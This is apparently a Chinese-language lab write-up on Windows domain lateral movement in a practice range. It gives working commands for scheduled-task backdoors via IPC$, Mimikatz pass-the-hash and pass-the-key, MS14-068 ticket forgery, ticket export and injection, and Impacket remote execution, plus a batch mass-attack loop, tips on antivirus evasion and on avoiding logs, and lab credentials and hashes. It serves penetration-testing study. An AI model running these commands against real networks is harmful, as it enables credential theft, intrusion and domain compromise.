环境
使用的是红日的靶机
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
账密:
win2008:账号administrator,密码123qwe!ASD
win2012:账号administrator,密码zxcASDqw123!!
【说明】:
不知道为什么,红日靶场中的phpstudy无法正常启动,显示“phpstudy已停止工作”我重新安装phpstudy也不能解决,网上的解决办法也没用。基于此,选择了红日靶场3,绕过phpsudy
利用Windows计划任务【借助明文账密】
利用前提:知道目标的账号密码(明文)
利用流程:
- 与目标主机建立IPC链接
- 拷贝要执行的命令脚本到目标机器
- 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
- 删除IPC链接
关于IPC的相关内容,参见文章Windows中的共享文件和文件服务器
用到的两个计划任务命令,at
是旧版本的系统中使用的,新版本的系统使用schtasks
替代了at
at < windows2012
schtasks >= windows2012
利用 at 建立连接
- 建立ipc连接
- 上传木马
- 确认文件上传成功
- 执行计划任务
我这里肯定是失败的,原因很简单,这里的目标主机是vm2网络,kali是NAT网络,此处仅作演示
利用 schtasks 建立连接
- 建立ipc连接
步骤同上,只不过这里上传的不是木马,而是一个添加用户的脚本,方便演示效果
bat脚本内容:net user zhangsan 123.com!@# /add
- 创建(需要几秒钟)-执行-删除计划任务
schtasks /create /s 192.168.93.20 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\adduser.bat /F
schtasks /run /s 192.168.93.20 /tn adduser /i
schtasks /delete /s 192.168.93.20 /tn adduser
- 实验效果
- 补充:
有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:
遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:
schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
这样就行了:
哈希值传递攻击
哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。
更多资料:
内网横向移动:Kerberos认证与(哈希)票据传递攻击
内网横向移动研究:获取域内单机密码与Hash
哈希传递攻击适用情况
在工作组环境中
- Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
- Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
知识背景
关于哈希与明文密码
windows2012以上版本,默认关闭wdigest,攻击者无法从内存中获取明文密码
windows2012以下版本,如果安装了KB2871997补丁,同样会导致无法获取到明文密码
解决思路:
- 尝试获取明文密码
- 利用注册表,开启wdigest Auth值,获取明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
- 利用工具或第三方平台(Hachcat)破解哈希值
- 尝试获取哈希值
- 利用哈希传递(pth、ptk)进行哈希移动
- 利用其他服务协议(smb、wmi)进行哈希移动
关于加密方式
windows系统存在LM Hash和NTLM Hash两种加密算法。个人系统在windows vista之后,服务器系统在windwos 2003之后,认证方式均为NTLM Hash
解决思路:hashcat暴力破解
hashcat -a 0 -m 1000 hash file --force
hashcat的简单使用,参见https://blog.csdn.net/smli_ng/article/details/106111493
PTH
PTH(pass the hash) 利用LM或NTLM的值进行的渗透测试
漏洞原理
我们要知道 PTH 原理的话首先需要知道 Windows 网络认证:“NTLM 挑战/响应验证机制”,总共三步:
一:协商
协商就是客户端向服务端确认协议的版本是 v1 还是 v2,因为版本不同会选则不同的机制。
二:咨询
咨询就分为 4 小步:
1:客户端向服务端发送一个用户信息的请求,其中必须包含其用户名,否则不通过。
2:服务端成功接收到客户端发来的请求后,生成一个 16 位数的“随机字符”(Challenge)。使用该客户端发来的用户名对应的 NTLM Hash 本地查询后进行加密 Challenge,这时候就会生成一个叫做“Net NTLM Hash”。生成完后服务端会将 Challenge 发送回客户端。
其中:Net NTLM Hash = NTLM Hash 加密(Challenge)。
三:验证
3:当客户端收到服务端加密发来的 Challenge 后,使用将要登陆的用户名对应的 NTLM Hash 加密(Challenge)再次生成一个叫做“Response”,之后吧 Response 再次发送给服务端。
4:服务端收到客户端发来的 Response 后,会先去对比 Net NTLM Hash 对应的 Response 是否相等,如果相等的话则通过认证,成功登陆。
PS:其实到这里从“验证”开始就出现了一个问题,Windows 是不会记录明文密码的!所以我们只需要获取到目标的 NTLM Hash 值和 用户名,就能成功登陆,因为 **NTLM Hash 登陆需要 Challenge **,而 Challenge 是服务端发送给我们客户端的,我们无需构造,所以就造成了一个“逻辑漏洞”的缺陷,这样我们就能够成功登陆到系统,因此就产生了哈希传递攻击。
总结如下:
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
如果禁用NTLM认证,PsExec无法利用获得的NTLM hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现PTH攻击
总结:KB2871997补丁的影响(来源KB22871997是否真的能防御PTH攻击?)
- PTH:没打补丁用户都可以连接,打了补丁只能administrator连接
- PTK:打了补丁用户才能都可以连接,采用aes256连接
实操
在域控主机win2012上,使用 Mimikatz 抓取本地管理员的 NTLM Hash
在域内主机win7上,使用Mimikatz进行pth攻击
一旦执行下面的命令,Mimikatz会打开一个新的cmd窗口,接下来的攻击,就建立在这个新的cmd窗口上
sekurlsa::pth /user:administrator /domain:god /ntlm:18edd0cc3227be3bf61ce198835a1d97
PTK
PTK(pass the key):利用的ekeys aes256进行的渗透测试
攻击方式同PTH,只是打了补丁后将NTML值换成aes256加密的值
privilege::debug
sekurlsa::ekeys
获取域控win2012的aes256值
在域内主机win7上发起攻击
sekurlsa::pth /user:administrator /domain:test.org /aes256:eede88728a78032cf9f5ca18c315f190348890da2ec5d433e66200a87cf826b0
如下图,连接失败。原因很简单,通过systeminfo | findstr KB2871997
可以查找,发现win2012上面就没有KB2871997补丁。不过,即便打上补丁,也不见得能试验成功,参考连接中,内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)的作者实验时发现即便打上补丁,实验也失败了。
PTT——MS14-068
PTT(pass the ticket):利用的票据凭证TGT进行的渗透测试
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
- MS14-068基于漏洞:允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
- Golden ticket(黄金票据):用于权限维持
- SILVER ticket(白银票据):用于权限维持
更多资料,以及实操,参见票据传递攻击
关于MS14-068:
作用:允许域内任何一个普通用户,将自己提升至域管权限.
需要的条件如下:
- 域内任意用户SID
- 域内任意用户密码
还需要MS14-068工具,下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
mimikatz不需要提权,软件能运行即可。
由于我的实验环境受限,不能使用别的域用户登录系统,所以下面的实验截图来自网络
方式1:使用mimikatz
- 获取当前账户的sid值
- 使用powshell,利用ms14-068生成TGT数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
- 处理原有的凭据
mimikatz # kerberos::purge // 清空当前机器中所有凭证
mimikatz # kerberos::list // 查看当前机器凭证
或者在powshell中执行系统命令
klist // 查看当前机器凭证
klist purge //清空当前机器中所有凭证
- 把凭据注入到内存中
mimikatz # kerberos::ptc 票据文件 // 将票据注入到内存中
- 此时查看凭证的注入结果
- 建立连接
方式2:使用kekeo
工具kekeo下载:https://github.com/gentilkiwi/kekeo/releases
1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用net use载入
dir \\192.168.3.21\c$
1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
- 清空当前系统中的凭据
klist purge //清空当前机器中所有凭证
klist // 查看当前机器凭证
- 导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
- 查看当前系统中的凭据
接下来就是连接了
方式3:利用本地票据(需管理员权限)
假如设备曾经连接过域控,且断开时长还没有超过票据的有效期10个小时。那么就可以使用攻击获取这些连接过的凭证,并将其注入到内容中,实现连接域控的目的
# mimikatz 命令
privilege::debug // 提升权限
sekurlsa::tickets /export // 导出本地所有票据
kerberos::ptt xxxxxxxxxx.xxxx.kirbi // 导入票据
dir \\192.168.3.21\c$ // 利用
Impacket中的Atexec【支持明文&哈希】
下面的内容源自网络,因为我的环境不支持这种复现方式
github地址(python脚本)https://github.com/SecureAuthCorp/impacket
码云地址(exe程序)https://gitee.com/RichChigga/impacket-examples-windows
关于攻击的进一步了解,参见https://www.freebuf.com/sectool/175208.html
支持对本地用户,对域用户;使用密文或者哈希值的攻击
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes 哈希值 ./administrator@192.168.3.21 "whoami"
上面的做法较为简陋,现在升级一下,批量扫描
已知某主机的账密是administrator:admin!@#45
- 存活主机探测
把存活主机的ip复制下来,保存到ips.txt中
for /l %i in (1,1,255) do @ ping 192.168.3.%i -w 1 -n 1|find /i "ttl="
- 编写bat脚本,调用ips.txt中的ip,反复进行Atexec连接攻击
for /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45%%i whoami
- 跑脚本
其他协议——SMB服务利用
利用SMB服务可以通过明文或者hash传递,来远程执行。条件是445服务端口开放
使用psexec
所需工具:Pstools官方工具包:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
方式1:
先有ipc链接,psexec需要明文或hash传递
关于第3条发起攻击的命令,-s
以System权限运行
第二种:不用建立IPC,直接明文账户,密码或hash
- 明文密码
- 使用hash
官方工具,在利用hash方面比较尴尬,偶尔会出现下面这种情况
- 使用hash
使用Impacket工具包种的psexec,解决上面那种尴尬问题
【需要考虑免杀】
使用smbexec【支持明文&哈希】
smbexec god/administrator:Admin12345@192.168.3.21 #连接域用户
smbexec ./administrator:admin!@#45@192.168.3.32 #连接本地用户
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
- 使用明文连接域用户
- 连接本地用户
其他协议——WMI服务利用【支持明文&哈希】
WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
1. 自带WMIC命令,明文传递,无回显
优点:不需要考虑免杀问题
缺点:没有回显,查看执行结果,较为繁琐
wmic /node:192.168.93.20 /user:administrator /password:123qwe!ASD process call create "cmd.exe /c ipconfig >C:\1.txt"
在域内主机win7上执行下面命令:
域内主机win2008(192.168.93.20)的c盘出现了命令执行结果的1.txt
2. cscript配合wmiexec.vbs脚本,明文传递,有回显
优点:有回显
缺点:需要对wmiexec.vbs做免杀(比较简单)
cscript是系统自带的命令,wmiexec.vbs需要额外下载
wmiexec.vbs脚本下载:https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar
cscript //nologo wmiexec.vbs /shell 192.168.93.20 administrator 123qwe!ASD
在域内主机win7上执行下面命令,目标主机是域内主机win2008
3. 第三方套件impacket wmiexec【明文或hash传递】
优点:有回显,exe版本,操作简单
缺点:容易被杀软查杀
其他
开源内网神器Ladon
项目地址:https://github.com/k8gege/Ladon
参考
内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)
从原理角度来看攻击手法:Pass The Hash(哈希传递)
内网渗透|谈谈HASH传递那些世人皆知的事
【内网渗透】域横向PTH&PTK&PTT哈希票据传递
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134293.html